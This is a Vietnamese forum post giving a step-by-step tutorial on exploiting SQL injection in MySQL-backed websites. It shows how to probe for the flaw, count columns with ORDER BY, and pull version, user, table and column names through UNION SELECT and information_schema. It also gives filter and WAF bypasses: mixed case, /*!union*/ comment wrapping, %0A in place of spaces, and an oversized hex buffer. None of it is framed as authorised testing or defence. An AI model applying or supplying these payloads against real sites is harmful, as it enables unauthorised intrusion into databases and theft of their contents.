CongNguyen
New Member
1.Bước đầu tiên trong khi khai thác SQL chính là tìm lỗi: Có các cách tìm lỗi sau: - Thêm dấu'vào trang web trả về : You have an error in your SQL syntax,supplied argument is not a valid MySQL warning mysql_num_rows supplied argument is not a valid mysql result resourceThì chắc chắn là trang web đã bị lỗi SQL -Thêm dấu'vào , trang web trả về trang trắng hoặc một phần của trang thì nguy cơ trang đó dính lỗi là rất cao --> thử khai thác tiếp -Thêm and 1=1 và 1=0 , trang web trả về trang trắng hoặc một phần -> dính lỗi 2.Tìm số field, column: Ta sử dụng câu lệnh order by để tính số field , số column trong cơ sở dữ liệu SQL Để tiết kiệm thời gian các bạn order by để xác định khoảng rồi tìm ra số column -Nếu order by 100 mà trang web đưa về lỗi Error: Unknown column '100' in 'order clause' You have an error inyour SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''at line 1Thì các bạn tiếp tục giảm dần xác định khoảng rồi tìm ra -Nếu order by 100-- - mà nó vẫn ra nguyên trang ban đầu thì các bạn thử thêm dấu'sau phần id xem , nếu nó ra lỗi thì tiếp tục giảm dần để xác định khoảng -Nếu cả 2 cách trên không được thì bạn ko dùng order by nữa , chuyển sang union select để tìm luôn ( cách này hơi mất thời gian ) 3.Tìm số lỗi: Bạn dùng lệnh union select để tìm ra số lỗi. -Nếu nó hiện ra số lỗi bình thường thì các bạn tiếp tục khai thác thôi -Nếu nố không hiện ra số lỗi thì các bạn có thể thực một trong các cách sau : +View source để tìm số lỗi +Xem các hình ảnh để tìm số +Thay các column bằng **** : ****,****,**** +Thay số id bằng **** hoặc false +Một số trường hợp khi bạn bỏ dấu - trước số đi lại có thể thấy số lỗi +Dùng + hoặc alt + 255 thay cho dấu cách , viết hoa UNION SELECT 4.Khai thác -Get thông tin về user , data , version +Các bạn get version để biết hướng khai thác (MySQL ver 4 hoặc 5) : version() hoặc @@ version hoặc có thể là convert(version() using latin1) +Get user và database tương tự -Get table và column +Gat table : đối với MySQL 4 thì ta chỉ có thể đoán , còn đối với MySQL 5 thì chúng ta khai thác như sau union select unhex(hex(group_concat(table_name))) from information_schema.tables where table_schema=datase() +Get column : UNION SELECT GROUP_CONCAT(COLUMN_ NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME=0xtable_name Convert table_name sang hex hoặc cũng có thể dùng CHAR(...) 5.By pass -Khi query một số site nó chặn các hàn union , select , convert,.... thì khi query nó trả về trang trắng , lúc này ta thấy đổi bằng các chữ hoa thường xen kẽ nhau :uNiOn , SeLeCt ,CoNvErT ,.... -Khi query nó trả về lỗi Forbidden You don't have permission to access/... on this server. Additionally, a 404 Not Found error wasencountered while trying to use an ErrorDocument to handle the requesthoặc Not Acceptable An appropriate representation of the requested resource / could not be found on this server. Additionally, a 404 Not Found error wasencountered while trying to use an ErrorDocument to handle the requestthì ta thay thế union hoặc selectbởi /*union*/ hoặc /*!union*/ ( /*select*/ hoặc /*!select*/) -Khi query nó trả về lỗi 406 Not Acceptable This request is not acceptable Powered By LiteSpeed Web Server LiteSpeed Technologies is not responsible for administration and contents of this website!thì ta thay thế space bởi %0A -Khi query nó trả về lỗi Error 500: Internal Server Error The server encountered an unexpected condition which prevented it from fulfilling the request. The problem is on the server side, not with your browser or the address. Most probably, a certain service (e.g., Tomcat engine) is down. Please contact your webmaster.thì các bạn query id=.. and (select 1)=(select 0xAAAAAAAAAAAAAAAA 1000 A nhé) union select 1,2,3....